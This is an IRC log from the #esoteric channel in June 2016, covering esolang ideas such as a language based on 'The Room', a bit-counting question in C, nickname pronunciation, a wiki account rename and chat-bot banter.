joined. 11:38:55 \oren\: work? vacation? study? shady activities? how long are you staying? 11:38:59 `relcome Akaibu 11:39:26 ​Akaibu: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 11:39:40 <\oren\> six nights 11:40:29 <\oren\> is going to maid cafes and lounging a shady activity? 11:41:15 not really shady, more like bright pink. 11:41:54 <\oren\> then no no shady activities here 11:46:56 `le/rn bicyclic monoid/The bicyclic monoid is the free monoid generated by two wheels of a bicycle, quotiented by the restriction that the bicycle itself is equal to the identity. 11:47:17 Learned «bicyclic monoid» 11:49:03 Hello. 11:49:06 Why am I still awake? 11:49:48 <\oren\> its only around eight o clock! 11:50:46 dnm: I might ask myself the same question. 11:52:19 @localtime dnm 11:52:20 Local time for dnm is Wed Jun 08 03:52:18 2016 11:52:22 @localtime shachaf 11:52:23 Local time for shachaf is Wed Jun 8 03:52:22 2016 11:52:29 shocking 11:52:33 morning 12:01:01 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 12:01:01 -!- trout has quit (Quit: 1 found in /dev/zero). 12:01:44 -!- variable has joined. 12:03:53 -!- idris-bot has joined. 12:03:58 um 12:04:03 `datei 12:04:12 ^ that's the local time for HackEgo 12:04:14 2016-06-08 11:03:38.508514000+00:00 12:13:24 fungot: do you have time? 12:13:25 boily: do tell about actors:)! good ( fnord) 12:13:47 fungot: uuuh... Sean Connery? 12:13:47 boily: i just like ' em. how do i load swindle in drscheme? it shows you visually what happens when you evaluate with c-x c-e in an emacs-lisp buffer will that do? 12:14:16 fungot: it won't do. it's emacs, and it's against my religion. 12:14:16 boily: define ' arbitrary manipulation.' on to suggest that. 12:14:47 fungot: I do not suggest that. stop manipulating me, you filthy bot. 12:14:47 boily: spoke finnish, too.)) yields the cartesian product. 12:15:03 fungot: speaking finnish yields cartesian products. I'll remember that. 12:20:14 don't anger fungot 12:20:14 b_jonas: the sound ' pre-scheme' is dirty to your ears? the one you're running on an unix machine. fucking vocational cs degrees. 12:21:30 I don't fear the fungot. I have my mapole. 12:21:30 boily: precise terminology is good too http://www.shiro.dreamhost.com/ scheme/ hedwig.png to 12:22:55 `8-ball does fungot fear boily's mapole? 12:22:55 b_jonas: we want a non-deterministic control structure. or they can both simply be special syntax... 12:23:05 fungot, do you fear boily's mapole? 12:23:05 b_jonas: widgets always are. and i'd qualify that by saying that it equals three, but i 12:23:07 My sources say no. 12:23:58 since when does HackEgo have an 8 ball? 12:25:30 -!- hppavilion[1] has joined. 12:28:11 -!- boily has quit (Quit: THROWING CHICKEN). 12:39:27 who's the official z-code expert in this chan? 12:40:29 i'm reading the standard to implement a zmachine and i can't even find stuff like the word size 12:43:21 2 byte words, by default, given the age of this stuff. there are also some clues about it, e.g. when it discusses memory size (64k) and ranges of numbers (0..65535, sometimes -32768..32767) 12:43:39 they didn't say that a number must fit in a word 12:43:58 tho it'd be strange if it didn't 12:44:12 thanks 12:52:16 -!- Destructible has joined. 12:52:25 I came up with another idea for a language 12:52:42 ... anyone? 12:53:44 shoot 12:53:49 `shoot izabera 12:53:57 don't shoot *me* 12:54:00 shoot the idea out 12:54:03 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: shoot: not found 12:54:06 HackEgo: :( 12:54:39 so, does anyone here know what the movie "the room" is like? 12:54:50 this language is based on the room 12:54:59 so, before I explain it. 12:55:27 It is esoteric, not just a regular language with movie catchphrases 12:56:04 and it isn't a brainfuck derivative, like other hidden programs 12:57:26 so, how it works 12:57:44 It is based on beatnik 12:59:51 commands are based on numeric values of commands 12:59:59 lines 13:00:48 how the numeric values are calculated is that, firstly, anything that is not a the room quote is an error 13:00:59 except other characters speech 13:01:12 also I meant johnny the room quote 13:02:05 the value of a line is the amount of Hs, minus exclamation marks at the end 13:02:48 so Johnny: Ohh hi Mahhrhk! evaluates to 5 13:03:08 which would be push the value of the next one, if i remember 13:03:22 does writing an interpreter constitute copyright infringement? 13:03:33 fair use 13:03:36 also 13:03:51 programs can be plays in their own right 13:03:55 for example 13:04:12 when a name is said, any name can be substituted 13:04:15 for example 13:04:25 oh hi mark could be oh hi anon 13:04:41 so, this means that you could make something like 13:04:58 Mary: hi jonny 13:05:21 Johnny: Ohhh hi mahry 13:05:44 Mary: I just bought a new game 13:06:08 Johnny: Whaht ah fuhnny stohry mahry!! 13:06:17 [Johnny shoots mary] 13:06:32 Johnny: Gohd Fohrgihve meh 13:06:33 ! 13:07:25 the reason why exclamation marks subtract is because some people may not be able to resist adding too many hs 13:08:20 I think that perhaps there should be a subset of languages called niks, which have numeric commands which are like beatnik 13:08:33 it would reduce the brainfuck derivatives. 13:08:43 I think everyone can agree that would be for the best 13:09:06 but now i haven't seen the movie and i know that johnny shoots mary at some point 13:09:27 I made that up 13:09:32 mary isn't a character 13:09:39 damn 13:09:49 It was demonstrating that new creations can be made 13:10:44 Someone else should probably make the interpreter, because I haven't really learned any language good enough at this point 13:10:53 should I make a page? 13:11:06 `? love 13:11:14 Baby don't hurt me, don't hurt me no more 13:11:27 `whatis love 13:11:30 whatis: can't open the manpath configuration file /etc/manpath.config 13:11:38 :< 13:11:40 not how it works 13:11:52 love (1) - 2D game development framework 13:11:59 ` 13:12:01 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found 13:12:11 ` 13:12:12 `? 13:12:12 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found 13:12:14 ? ¯\(°​_o)/¯ 13:12:20 `? Destructible 13:12:22 Destructible? ¯\(°​_o)/¯ 13:12:27 `? inDestructible 13:12:28 inDestructible? ¯\(°​_o)/¯ 13:12:38 `? hth 13:12:40 hth is help received from a hairy toe. It is not at all hambiguitous. 13:12:47 :D 13:13:01 anyway, hi ybdden 13:13:08 hi Destructible 13:13:09 ybden* 13:13:10 `? hambiguitous 13:13:12 We're not sure what hambiguitous means, but it's definitely not hth. 13:13:17 haha 13:13:45 `? troule 13:13:46 troule? ¯\(°​_o)/¯ 13:13:47 `? trouble 13:13:48 trouble? ¯\(°​_o)/¯ 13:13:51 also I had an idea for an esolang that isn't just something done slightly different 13:13:52 `? bicycle 13:13:53 bicycle? ¯\(°​_o)/¯ 13:13:58 `? unicycle 13:14:00 unicycle? ¯\(°​_o)/¯ 13:14:06 `? brainfuck 13:14:07 brainfuck is the integral of the family of terrible esolangs. The name is a euphemism for "beef". bf -c -t "+>+++++>+++" | mklang --array 13:14:35 `? god's number 13:14:37 god's number? ¯\(°​_o)/¯ 13:14:37 `? befunge 13:14:39 befunge? ¯\(°​_o)/¯ 13:14:41 also 13:14:47 let's stop spamming chat now 13:15:42 so ybden, have you contributed to the wiki at all? 13:15:46 I haven't 13:15:50 I have not either. 13:15:54 oh wait 13:15:56 `? god's number 13:15:58 God's number is the maximum number of moves a Rubik's cube can require to solve. It is equal to 20. No, really. Look it up. 13:16:10 I left a comment once 13:16:15 on list of ideas 13:16:25 so one time i guess 13:16:56 (this is a parenthetical) 13:17:54 [this is a brackethetical] 13:19:55 {this is a bracetical} 13:23:13 ⟬this is a white turtlethetical⟭ 13:23:33 Recession Session is awesome 13:25:25 |this is a pipethetical| 13:25:47 What about Resession cession 13:31:54 https://i.imgur.com/dpTXm8M.png 13:35:08 izabera: D: 13:35:15 i didn't write it 13:35:24 izabera: where did you find that? 13:35:42 friend of mine claimed it was written by a c programmer in his company 13:35:50 firstly, that's a very specific version 13:36:04 secondly, they obviously don't know how the preprocessor works 13:36:24 izabera: I pity that programmer 13:36:58 Eh, I suppose it's a faily innocent mistake 13:37:21 well, fairly too 13:37:21 izabera: Oh... oh god... 13:37:23 Is that C!? 13:37:26 hppavilion[1]: yes 13:37:37 Lol 13:37:52 I much prefer the fox-hen-grain puzzle when the grain will eat the fox if left unattended 13:38:06 :D: what 13:38:07 Or where the wolf will eat the farmer in the boat 13:38:21 * ybden . o O ( wolf = undefined behaviour ) 13:39:18 Or what if the farmer is really a hitman hired to kill the hen and must make it look like an accident? 13:39:28 SUDDEN DESIRE FOR SLEEP 13:39:29 -!- hppavilion[1] has quit (Quit: Leaving). 13:44:56 [wiki] [[Fumble]] https://esolangs.org/w/index.php?diff=47167&oldid=47159 * 193.0.236.64 * (-54) Clean up for more wiki style 13:48:14 -!- Destructible has quit (Ping timeout: 250 seconds). 13:54:21 -!- Sgeo_ has quit (Ping timeout: 240 seconds). 14:23:23 -!- variable has quit (Quit: 1 found in /dev/zero). 14:49:08 the puzzle doesn't really work if you can't leave two of the passengers alone unattended 14:49:19 ... I prefer puzzles to be solvable 14:57:15 -!- lambda-11235 has joined. 15:03:58 -!- Guest83470 has joined. 15:40:01 -!- spiette has joined. 15:58:36 -!- spiette has quit (Ping timeout: 246 seconds). 16:11:50 -!- spiette has joined. 16:14:26 -!- augur has joined. 16:26:03 -!- J_Arcane_ has joined. 16:26:08 -!- J_Arcane_ has changed nick to J_Arcane. 16:43:28 -!- Koen_ has quit (Remote host closed the connection). 16:43:54 -!- Frooxius has quit (Read error: Connection reset by peer). 16:44:21 -!- Koen_ has joined. 16:44:25 -!- Frooxius has joined. 16:51:46 [wiki] [[Jot]] https://esolangs.org/w/index.php?diff=47168&oldid=44879 * 5.249.127.17 * (+9) /* Semantics of Jot */ 17:04:13 http://www.ioccc.org/2015/muth/hint.html 18:04:40 [wiki] [[User:Timwi]] https://esolangs.org/w/index.php?diff=47169&oldid=45927 * Timwi * (+13) efghij 18:10:29 -!- xkapastel has joined. 18:14:51 -!- nycs has joined. 18:15:13 -!- Guest83470 has quit (Read error: No route to host). 18:16:20 [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47170&oldid=47165 * Qwertyu63 * (+6) 18:28:43 -!- Melvar` has joined. 18:28:46 -!- idris-bot has quit (Ping timeout: 272 seconds). 18:29:53 -!- Melvar has quit (Ping timeout: 252 seconds). 18:32:25 -!- Melvar`` has joined. 18:34:04 -!- Melvar` has quit (Ping timeout: 249 seconds). 18:35:48 -!- Melvar has joined. 18:36:33 -!- Melvar`` has quit (Ping timeout: 240 seconds). 18:37:45 -!- Koen_ has quit (Remote host closed the connection). 18:40:21 [wiki] [[User:Rottytooth]] https://esolangs.org/w/index.php?diff=47171&oldid=46132 * Rottytooth * (+7) moved ↄ to done 18:41:15 [wiki] [[A programming language is a formal constructed language designed to communicate instructions to a machine, particularly a computer.]] https://esolangs.org/w/index.php?diff=47172&oldid=47097 * Rottytooth * (+25) implemented 18:46:50 [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47173&oldid=47170 * Qwertyu63 * (+400) 18:48:04 [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47174&oldid=47173 * Qwertyu63 * (+10) 19:03:07 14:31:54 https://i.imgur.com/dpTXm8M.png 19:03:09 That is glorious. 19:10:10 -!- Koen_ has joined. 19:16:20 -!- Koen_ has quit (Remote host closed the connection). 19:27:13 -!- Akaibu has quit (Quit: Connection closed for inactivity). 19:42:11 -!- AnotherTest has joined. 19:46:39 -!- AnotherTest has quit (Ping timeout: 264 seconds). 19:47:40 ?metar CYVR 19:47:40 CYVR 081818Z 12006KT 090V160 20SM -SHRA FEW040 SCT055 BKN087 OVC100 16/09 A2979 RMK SC2SC2AC2AC2 PCPN VRY LGT SLP088 DENSITY ALT 300FT 20:03:27 -!- Kaynato has joined. 20:46:53 is this the most efficient way to count the number of leading 1s in a byte? for (i=0; (byte = byte << 1) & 0x80; i++); 20:49:22 err that doesn't work but i mean something like this works for (i=0; byte & 0x80; i++) byte <<= 1; 20:50:12 -!- augur has quit (Remote host closed the connection). 20:50:46 -!- augur has joined. 20:53:06 Could be, for the specific case for a byte. Plausible alternatives would be __builtin_clz on ~byte, or the "obvious" binary-search approach. 20:55:10 -!- augur has quit (Ping timeout: 260 seconds). 20:55:43 That is, something like i = 0; if ((byte & 0xf0) == 0xf0) i += 4, byte <<= 4; if ((byte & 0xc0) == 0xc0) i+= 2, byte <<= 2; if (byte & 0x80) i++; 20:58:00 hizzie 20:59:06 a lookup table would be faster? 20:59:07 Hachaf. 21:00:51 izabera: Quite possibly. https://graphics.stanford.edu/~seander/bithacks.html is a good place to check as well. And of course "most efficient" usually depends on all kinds of details. 21:01:10 i did check that 21:01:17 didn't find that problem exactly 21:01:24 so i wasn't sure 21:02:20 fizzie: A bithack is a model of a weak 2-thack? 21:03:44 -!- dnm has quit (Ping timeout: 240 seconds). 21:09:12 fizzie: Your nick has three syllables, with emphasis on the first, right? 21:10:42 what.. 21:11:48 fi-tsi-e? 21:11:58 With a long ts, I guess. 21:12:00 huh... 21:12:31 I assumed it was two syllables, sounding like "fizzy" in English 21:13:22 Well, I assumed that the j in your name was pronounced as in English. 21:17:22 The operation ((x&y)==y) is a built-in operation in Z-machine. 21:17:23 shachaf: That's the one most Finnish people use and I think I'm more familiar with, but I accept the "fizzy" kind as a variant as well. 21:17:32 shachaf: I've no idea how “jonas” is supposed to be pronounced really. I took that name after the main character Jonas in Lois Lowry's novel “The Giver”, but I never saw the author indicating how that's pronounced, and didn't try to find it out too hard. 21:18:07 shachaf: I guess I could try to find videos of the film or the stage play based on the novel on youtube now, as that those now exist and were overseen by Lowry. 21:18:14 I guess I should try that. 21:18:37 If I really cared about how it's pronounced, I could also write to Mrs. Lowry, and she'd probably answer, but I never cared much. 21:18:45 It wasn't even obvious to me how Lowry was pronounced. 21:18:47 How can you count the bits by the muxcomp operation efficiently? 21:19:09 fizzie: Well, how am I supposed to make a rhyme with your nick without a definitive pronunciation? 21:19:54 fizzie: hmm, so how is it pronounced? 21:20:33 Ok, let me check youtube for the film or other stuff 21:21:26 Nah 21:21:30 I don't want to look at them 21:21:31 shachaf: You can consider what you said as the canonical form, assuming I parsed it correctly. 21:21:45 the film would ruin my image of the book 21:21:54 OK, well, can you think of anything that rhymes with fizzie? 21:21:57 Unfortunately, Google TTS's Finnish voice gets it wrong, I'd've used that to verify. 21:21:58 I'll try to find interview though 21:22:44 fizzie: ok, but how do you parse what shachaf says, or how do you pronounce it? can you give a transcription to some pronunciation alphabet or something? 21:23:01 shachaf: while we're there, how do you pronounce shachaf? 21:23:16 @google shachaf pronunciation 21:23:17 http://forvo.com/word/shachaf/ 21:23:17 Title: Shachaf pronunciation: How to pronounce Shachaf in Hebrew 21:23:27 shachaf: it's from hebrew? 21:23:38 I can't verify without audio, but it's probably something like that. 21:23:38 Yes. 21:24:14 I'm listening to an interview with Lowry now 21:24:25 so far he's said “the boy” and “this young boy” 21:24:31 but not his name 21:24:39 “child” too 21:24:52 -!- AnotherTest has joined. 21:25:52 this interview didn't help. I'll try another 21:28:45 nah, in this one she's telling some amusing anecdotes but not talking about The Giver 21:30:50 b_jonas: I'm not good at phonetic alphabets. I think it'd be something close to /ˈfitsie̯/, which, in retrospect, might not be quite what shachaf said, since it has the /ie̯/ diphthong instead of a separate /e/ syllable. 21:31:24 fizzie: Wait, so how many syllables? 21:31:39 Maybe it's just two then? I haven't really given it much thought. 21:31:53 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 21:32:08 It's not really such a conventional Finnish word. 21:32:11 Maybe you ought to record it. 21:32:12 fizzie: so is it three full syllables, with both the i and the e taking up a separate one? and is it an open or a close e? 21:32:43 fizzie: or is the i a semi-vowel (like in "yes" in English) so it's only two syllables? 21:33:01 b_jonas: AIUI, it's exactly the mid-e, neither open nor closed. 21:33:17 fizzie: ok 21:33:24 and two or three syllables? 21:33:34 -!- jaboja has joined. 21:34:12 In this interview, she is talking about The Giver, 21:34:13 ah! 21:34:16 hello, this is fizzie, and i pronounce fizzix as fizzix 21:34:17 she does say jonas 21:34:20 s/j/J 21:35:35 and she does say it with a /dZ/ 21:35:44 dZ? 21:35:45 interview is https://www.youtube.com/watch?v=vGcdEX8QeF4 21:36:09 I can't tell. I mean, I think it's the /ie/ diphthong, which I guess would mean it has to be two. At least I can't tell the difference between the ie in, say, Lieksa and fizzie. 21:36:11 shachaf: /dʒ/ in ipa 21:36:18 as in "jack"? 21:36:22 shachaf: yes 21:36:54 I think she says /"dZV.n@s/ but I'm not sure about the first vowel. it's definitely short 21:37:00 let me listen a few more times, and to different places 21:40:36 ok, it definitely sounds like Mrs. Lowry pronounces Jonas as /"dZV.n@s/ in that interview 21:41:10 = /ˈdʒʌ.nəs/ 21:41:31 Okay, yes. The way "fizzie" ends is definitely more "tie" than "aie". 21:42:01 that seems definitive enough for the book character, in English. 21:42:03 fizzie: wait what 21:42:12 b_jonas: "tie" and "aie" are two Finnish words. 21:42:16 ah, ok 21:42:21 you don't mean the English word "tie" 21:42:24 No. 21:43:05 Unfortunately, Wiktionary lacks a pronunciation section on Finnish "tie". (It has one on "aie", so if that's the sort of thing shachaf meant, it's not that.) 21:43:41 -!- mender has joined. 21:44:01 Dear me, Goole Translate's Finnish voice gets "aie" approximately as wrong as possible. 21:44:30 I'm certain I can't easily find out how Tóth Tamás Boldizsár pronounces “Jonas” in the translation. A letter through the publisher has a small chance to reach him, but I'm not going to try that. 21:44:32 hello fine folks! is there anyone capable of renaming users on the wiki? 21:44:49 mender: on which wiki? 21:44:50 (It's so wrong I may even need to fix it.) 21:44:52 -!- `^_^ has joined. 21:45:39 fizzie: does it pronounce it wrong even in a sentence? 21:45:40 on esolangs.org 21:46:01 mender: ais523 probably can, and let me check the user list for who else has privilages 21:46:13 fizzie: can you help mender? 21:46:23 Is renaming a standard MediaWiki feature? 21:46:34 (If it is, then probably.) 21:46:50 apparently it needs some extension... let me dig up that link 21:46:51 fizzie: I don't really know 21:47:01 https://www.mediawiki.org/wiki/Help:Preferences#User_profile_2 21:47:07 mender: do you really need a rename, rather than just simply creating a new user? 21:47:28 I guess I could create a new user and change the links in all my esolangs 21:47:39 (which aren't that many) 21:47:41 mender: you can even redirect your userpage 21:47:50 mender: it's probably simpler than renaming the user 21:47:56 oh neat, how do I do that? 21:48:04 (the redirect) 21:48:18 "-- the wiki must also have the Renameuser extension installed --" we might not have that in place. So, yeah, what b_jonas suggests might be reasonable. Keeps the history and all that. 21:48:20 mender: go to userpage, edit it to contain a single line saying #REDIRECT [[User:FooBar]] 21:48:22 -!- nycs has quit (Ping timeout: 260 seconds). 21:48:38 mender: on the target page you might want to explain that you're a new name for that old name, so it doesn't confuse people 21:48:58 great thanks, I'll do that 21:49:08 mender: and you might want to do some of the relevant edits with the old user, and some with the new, so it's clear you really control both of them, and it's not someone maliciously trying to hijack a user page 21:49:31 good point 21:49:38 mender: can you tell use the two usernames here too by the way? 21:49:38 Oh. We actually *do* have Renameuser installed and loaded. 21:50:22 [wiki] [[Special:Log/newusers]] create * Martin Ender * New user account 21:50:36 s/use/us/ 21:50:38 well... 21:50:54 Martin Büttner --> Martin Ender 21:51:01 thanks 21:51:51 fizzie: as you can see I just created the new account. want to do the rename and kill the new account or should I go ahead with the redirect and everything? 21:52:15 Anyway, regardless of the pronunciation of the book character, you can still pronounce my nick differently 21:52:38 (Also, I don't have actual proof that Lowry named Jonas from the biblical prophet.) 21:53:13 mender: I'm not even sure what in particular Renameuser does. If you're okay with doing it the mostly-manual way, that'd be fine with me. 21:53:58 alright, I don't mind 21:55:12 [wiki] [[User:Martin Ender]] N https://esolangs.org/w/index.php?oldid=47175 * Martin Ender * (+1110) Created page with "I used to go by the name Martin Büttner. I have created the following esolangs: * [[Retina]], designed in 2015, a regex-based language, designed for use in code-Golf|golf..." 21:55:26 argh 21:55:34 I tried to listen to another interview, hoping it has better audio 21:55:37 b_jonas: Oh, and yes: "aie" is incredibly wrong even when used in a sentence. Looks like it falls back to the rule-based g2p system, which doesn't realize it's special, so it creates the phonemes "ai ie" (the ai- and ie-diphthongs) which sounds really stupid concatenated. 21:55:45 this one is from a radio, so I assumed it was professionally done 21:56:16 but aside from the introduction, the actual talk with Mrs. Lowry part is done through a telephone line, so not very high audio quality again 21:56:26 fizzie: I see 21:56:30 [wiki] [[User:Martin Büttner]] https://esolangs.org/w/index.php?diff=47176&oldid=45124 * Martin Büttner * (-1047) Replaced content with "#REDIRECT User:Martin Ender" 21:57:06 [wiki] [[User:Martin Büttner]] M https://esolangs.org/w/index.php?diff=47177&oldid=47176 * Martin Büttner * (+1) Redirected page to [[User:Martin Ender]] 21:57:28 better 21:57:44 `welcome mender 21:57:57 mender: you should redirect your user talk page (discussion page) too 21:58:07 oh, right 21:58:10 thanks 21:58:42 mender: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 21:58:56 `? weather 21:59:01 lambdabot: @@ @@ (@where weather) CYUL ENVA ESSB KOAK 21:59:03 CYUL 082000Z 28013G22KT 15SM OVC042 14/05 A2956 RMK SC8 SLP011 DENSITY ALT 300FT \ ENVA 082050Z 31014KT 9999 SCT025 SCT038 07/03 Q1024 RMK WIND 670FT 32019KT \ ESSB 082050Z AUTO 28004KT 9999 NCD 11/M02 Q1013 \ KOAK 082053Z 26015KT 10SM FEW035 BKN180 21/11 A2996 RMK AO2 SLP145 T02060111 58005 21:59:08 [wiki] [[User talk:Martin Büttner]] N https://esolangs.org/w/index.php?oldid=47178 * Martin Büttner * (+36) Redirected page to [[User talk:Martin Ender]] 22:00:15 [wiki] [[User talk:Martin Ender]] N https://esolangs.org/w/index.php?oldid=47179 * Martin Büttner * (+0) Created blank page 22:01:14 -!- MoALTz has quit (Quit: Leaving). 22:06:01 In this other interview, Mrs. Lowry says that the names of the characters just “came to her”, and that sometimes she changes them later when writing the book but she didn't change the ones in The Giver. That probably means she didn't deliberately name Jonas from the biblical prophet. 22:06:26 Meh, no matter, it's still a good enough connection for me. 22:07:03 Biblical prophet? 22:07:15 shachaf: usually called Ionah or something there 22:07:20 Heh. I don't know how, but the thing has selected to use a "aa-ee" unit (from the boundary of a compound word where the first part ends in /a:/ and the second part starts with /e:/) to realize the "ai-ie" it wanted to synthesize. Probably because it couldn't find "ai-ie" anywhere, since it makes no sense. So it just pronounces "aie" as something like /aʔe/. 22:07:38 Oh, that one. 22:07:55 Oh my, IPA? 22:07:59 or Jonah 22:08:02 I'm an IPA nerd 22:08:03 I didn't realize people called him Jonas. 22:08:05 apparently Jonah, not Ionah 22:08:18 `welcome qrf 22:08:26 shachaf: they do, but I think that's a latinism 22:08:32 I used to be a regular in here, years ago 22:08:46 shachaf: "Joona" in the Finnish translation. 22:08:51 as in, he's called Jonas in latin 22:08:53 qrf: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 22:08:59 That was slow 22:09:16 Let me guess, it's because HackEgo was written in a painfully inefficient esoteric language 22:09:29 No, it's because HackEgo's running on a ridiculous VPS provider. 22:09:36 :\ I use OVH 22:10:05 anyway, he's the prophet who's been swallowed by a mythical sea monster (whale or leviathan) and God sent him to be a prophet in the city of Niniveh 22:10:14 (just to make clear which prophet it is) 22:10:42 Well, the sandboxing it uses (essentially, boot a new UML kernel for every command) isn't *terribly* efficient, but formely it wasn't really all that painful; lately it's been slower than it used to be. 22:11:23 That prophet is also featured in the Qur'an, which I'm currently reading 22:11:45 A kernel written in the Unified Modelling Language, most impressive 22:11:49 qrf: yes 22:12:29 fungot it's the one of our bots that's written in a painfully inefficient esoteric language, and it's pretty fast. 22:12:29 fizzie: i thought it was labyrinth, but i 22:12:36 qrf: but I know very little about the Quran, so when I think of the prophet and how he's related to The Giver, I was definitely always thinking of the biblical version 22:12:37 s/it's/is/ 22:14:36 fizzie: ok wait, have we got this yet? is your pronunciation of "fizzie" two syllables or three syllables? 22:15:35 b_jonas: I think I've settled on two. 22:15:48 fizzie: ok 22:17:21 fizzie: then I'll pretend it's /ˈfits.jɛ/ with /ts/ a single vowel (imagine a tie accent above or below the two or something) 22:17:26 s/vowel/consonant/ 22:18:00 No, the consonant boundary is definitely right after the /'fi/. 22:18:05 The official pronunciation of my nick is [ˈqɑɾɑf] 22:18:11 fizzie: do you mean the syllable boundary? 22:18:17 Er, yes. 22:18:22 Essentially, take the first syllable from fi:fiikus but shorten the vowel from /i:/ to /i/, then take the single syllable from fi:tie but convert the initial consonant from /t/ to /ts/. 22:18:58 (Translate gets those two words right.) 22:19:19 fizzie: hmm, but I can't pronounce /ˈfi.tsjɛ/; maybe the /jɛ/ part is wrong 22:19:58 As I understand, it should be /ie̯/. 22:20:06 fizzie: isn't that the same? 22:20:14 I mean 22:20:18 same as far as my mouth goes 22:20:31 a short /i/ or semi-vowel /i/ 22:20:39 I should probably just record it. 22:20:57 nah, I can totally accept that you can pronounce /ˈfi.tsjɛ/ 22:21:09 even if I can't pronounce it because I'm not used to that sort of thing 22:21:17 I can just pronounce it as /ˈfits.jɛ/ and it's short enough 22:21:26 s/short/close/ 22:21:28 Hmm. Well, if you listen to the left side of https://translate.google.com/#fi/en/tsie that's pretty much the tail end. 22:21:58 or I can try to pronounce /ˈfi.tsjɛ/ even if I'm not used to it 22:22:03 Oh, that's simple -- actually, https://translate.google.com/#fi/en/fitsie is pretty close. 22:22:11 (But if you write it as "fizzie" it goes all wrong.) 22:22:24 fizzie: is the "zz" part a finnish spelling? 22:23:29 Not really. 'z' appears rarely in some loanwords and generally maps to a /ts/. 22:23:43 I don't think 'zz' really exists. 22:24:04 fizzie: ah, that would explain why google's text to speech doesn't pronounce it properly 22:25:21 Right. It generates the two syllables "f i1" and "t s ii0". 22:25:24 ok, let me see this one you pasted 22:25:30 uh is GG heading towards another boss fight? 22:26:11 For "fitsie" it generates again two syllables, but this time "f i1" + "t s ie0", which is probably right. 22:26:12 Granted, it's been a while... I think that automatic train was the last serious one. 22:27:58 anyway, I'll probably continue to pronounce jonas with a /j/, but a /dZ/ is fine too of course 22:28:16 unless I'm specifically talking about the book character and in English of course, in which case I should try to stick to /dZ/ 22:29:43 -!- mender_ has joined. 22:30:43 Given that the biblical prophet is pronounced with a /j/, I think that's a good enough excuse that you can use either 22:30:50 -!- mender has quit (Ping timeout: 250 seconds). 22:31:09 -!- spiette has quit (Quit: :qa!). 22:32:35 X-SAMPA <23 22:33:34 qrf: I prefer IPA-like notation, but I'm lazy to type it 22:33:39 so either goes 22:33:52 I should make a two-way transliterator as an input method or something 22:34:48 I wrote this shitty bot for #linguistics, it converts X-SAMPA to IPA 22:34:52 [wiki] [[Stack Cats]] N https://esolangs.org/w/index.php?oldid=47180 * Martin Ender * (+8990) Created page with "'''Stack Cats''' (abbreviated as '''SKS''') is a stack-based, [https://en.wikipedia.org/wiki/Reversible_computing reversible] programming language developed by user:Martin E..." 22:35:16 qrf: nice... hmm, which one is #linguistics, is it the one that always talks about politics, or is that ##linguistics ? 22:35:20 I confuse these channels 22:35:47 #linguistics is the one about TV, gay sex, drugs 22:36:04 qrf: nah, that's not very specific, lots of channels are about that 22:36:14 [wiki] [[User:Martin Ender]] https://esolangs.org/w/index.php?diff=47181&oldid=47175 * Martin Ender * (+115) add Stack Cats 22:36:51 That is true 22:37:13 it seems #linguistics is the one I was thinking about, but I know ##linguistics exists as well 22:38:04 ##linguistics kicks people for off-topic talk 22:38:32 I see 22:38:48 maybe I should try that one if I have a linguistics question 22:39:19 Not necessarily 22:39:22 It's also notoriously inactive 22:39:35 well, it can be worth a try, but ok 22:40:49 mostly I should just try outside of irc 23:01:26 -!- Akaibu has joined. 23:03:16 -!- Koen_ has joined. 23:08:32 -!- mender_ has quit (Ping timeout: 250 seconds). 23:09:58 -!- clog has quit (Ping timeout: 272 seconds). 23:10:46 -!- `^_^ has quit (Quit: This computer has gone to sleep). 23:21:09 -!- Sgeo_ has joined. 23:27:40 -!- augur has joined. 23:29:04 -!- FreeFull has quit (Read error: Connection reset by peer). 23:34:33 -!- FreeFull has joined. 23:37:43 -!- hppavilion[1] has joined. 23:37:49 Huh. Minecraft is already at 1.10 23:37:58 That development cycle was way, way too short 23:38:12 And the update didn't add very much new content in comparison to many previous updates 23:38:41 I blame Mi¢ro$oft 23:39:52 i blame notch for building and selling 23:41:12 myname: I blame the boundary conditions of the universe for being in the particular configuration they were 23:41:23 nah 23:41:38 it also made the clearly superior dwarf fortress possible 23:42:36 Unfortunately, my eyes do not accept Dwarf Fortress as valid input 23:47:58 nobody ever really knew what to do with minecraft 23:48:45 hppavilion[1]: you may want to use a tileset 23:49:16 myname: I probably should have thought of that by now. 23:49:21 I will go seppuku now 23:49:36 have fun 23:53:03 -!- jaboja has quit (Ping timeout: 276 seconds). 2016-06-09: 00:03:03 -!- oerjan has joined. 00:03:19 Someone made a door in Minecraft that takes 13 hours to open or close 00:03:38 -!- clog has joined. 00:04:17 argh 00:04:21 missing an hour 00:06:10 do you want the last hour of logs 00:06:13 oh well, it was probably crap anyway hth 00:06:23 they're in my terminal 00:06:27 shall i copy and paste them to you 00:07:05 yes please 00:07:07 oerjan: sour grapes tsk tsk etc. 00:08:23 shachaf++ 00:08:35 oerjan: hth 00:08:37 oerjan is addicted to logreading 00:09:29 I CAN QUIT ANY TIME I WANT 00:09:40 it's the wanting part that's hard 00:09:53 you only say that because you know that even if you quit, logs will be available 00:10:07 curses 00:10:18 oerjan: so how often have you quit reading the logs so far? 00:10:26 Is there a 12-step program for this? 00:10:39 int-e: i dunno, but sometimes they're just too damn long 00:11:26 1) Admit that the logs- a series of 1s and 0s on a server somewhere in Canada- are more powerful than you, a sentient human being capable of will and volition. Somehow. 00:11:30 couldn't you make a bot read them for you? 00:11:46 hppavilion[1]: i'm not sure tunes is in canada, or not. 00:11:56 oerjan: It probably is; most servers seem to be in my experience 00:11:59 and make a list of topics that were addressed 00:12:03 huh 00:12:10 Koen_: Oh, wait, this might actually work 00:12:19 Koen_: one that strips MtG discussion would be nice. 00:12:33 well that's easy 00:12:41 2) Believe that the great fungot can make you not addicted to logreading; of course, you 